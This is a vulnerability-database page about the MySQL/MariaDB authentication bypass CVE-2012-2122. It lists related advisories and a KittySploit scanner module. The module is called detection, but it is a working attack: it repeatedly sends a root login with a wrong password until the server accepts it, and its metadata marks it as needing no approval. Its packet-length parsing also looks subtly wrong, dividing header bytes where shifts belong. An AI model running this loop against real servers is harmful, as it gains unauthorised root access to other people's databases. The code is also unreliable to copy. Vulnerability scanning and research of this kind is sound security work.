MySQL/MariaDB - Auth Bypass Detection (CVE-2012-2122)
| Reporter | Title | Published | Views | Family All 112 |
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| solutions | 23 Aug 202617:04 | – | githubexploit | |
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| pentest-metasploit | 24 Jun 202617:10 | – | githubexploit | |
| Oracle MySQL Server 5.5 < 5.5.24 Multiple Unspecified Vulnerabilities | 13 Jul 201200:00 | – | nessus | |
| Oracle MySQL Server 5.1 < 5.1.63 Multiple Vulnerabilities | 13 Jul 201200:00 | – | nessus | |
| MySQL Server 5.1 < 5.1.63 Multiple Vulnerabilities | 13 Jul 201200:00 | – | nessus | |
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| Amazon Linux AMI : mysql55 (ALAS-2012-93) | 4 Sep 201300:00 | – | nessus | |
| CentOS 5 : mysql (CESA-2013:0180) | 24 Jan 201300:00 | – | nessus | |
| Rocky Linux 8.6 [CIQ] Security Update: mysql / mysql-common / mysql-debuginfo / mysql-debugsource / etc Multiple Vulnerabilities (ciqsa-2026_0113) | 1 Oct 202600:00 | – | nessus |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""MySQL/MariaDB memcmp authentication bypass (CVE-2012-2122)."""
import socket
import struct
from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client
class Module(Scanner, Tcp_scanner_client):
__info__ = {
'name': 'MySQL/MariaDB - Auth Bypass Detection (CVE-2012-2122)',
'description': (
'Detects CVE-2012-2122 by repeatedly attempting root login with a wrong '
'password until memcmp returns success (or max attempts).'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'scanner', 'tcp', 'mysql', 'mariadb', 'cve', 'cve2012', 'auth-bypass', 'unauth', 'kev', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 100,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals'],
'cost': 1.5,
'noise': 0.7,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'admin_surface', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2012-2122',
],
'cve': 'CVE-2012-2122',
}
port = OptPort(3306, 'MySQL port', True)
max_attempts = OptInteger(300, 'Max login attempts', required=False, advanced=True)
def _login_packet(self) -> bytes:
# Same static wrong password auth packet as NASL (root / mysql_native_password)
body = bytes([
0x05, 0xa6, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x01, 0x21,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
]) + b'root\x00' + bytes([0x14]) + bytes([
0x26, 0xcd, 0x8e, 0x6a, 0x43, 0x44, 0x61, 0x21, 0xe7, 0x96,
0x8b, 0x18, 0xc3, 0xdc, 0x55, 0xcc, 0x5d, 0xd6, 0xa3, 0xb0,
]) + b'mysql_native_password\x00'
# packet: length (3) + seq(1) + body — NASL used 0x50 length
hdr = struct.pack('<I', len(body))[:3] + bytes([0x01])
return hdr + body
def _attempt(self, host: str, port: int, pkt: bytes) -> str:
try:
sock = socket.create_connection((host, port), timeout=self._timeout())
sock.settimeout(self._timeout())
# greeting
hdr = sock.recv(4)
if len(hdr) < 4:
sock.close()
return 'fail'
plen = hdr[0] + (hdr[1] // 8) + (hdr[2] // 16)
sock.recv(plen)
sock.sendall(pkt)
rh = sock.recv(4)
if len(rh) < 4:
sock.close()
return 'fail'
blen = rh[0] + (rh[1] // 8) + (rh[2] // 16)
body = sock.recv(blen)
sock.close()
if len(body) < 5:
return 'fail'
errno = (body[2] << 8) | body[1]
if errno == 0 and body[0] == 0 and body[3] == 2 and body[4] == 0:
return 'ok'
if errno == 1045:
return 'denied'
return 'other'
except Exception:
return 'fail'
def run(self):
host = self._host()
port = self._port()
if not host or not self.is_tcp_open(host, port):
return False
pkt = self._login_packet()
# first check that wrong password yields 1045
first = self._attempt(host, port, pkt)
if first != 'denied':
return False
attempts = int(self.max_attempts or 300)
for _ in range(attempts):
if self._attempt(host, port, pkt) == 'ok':
self.set_info(
severity='critical',
reason='MySQL/MariaDB auth bypass (CVE-2012-2122)',
path=f'tcp/{port}',
)
return True
return False
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10 Aug 2026 06:19Current
7.8High risk
Vulners AI Score7.8
CVSS 25.1
EPSS0.965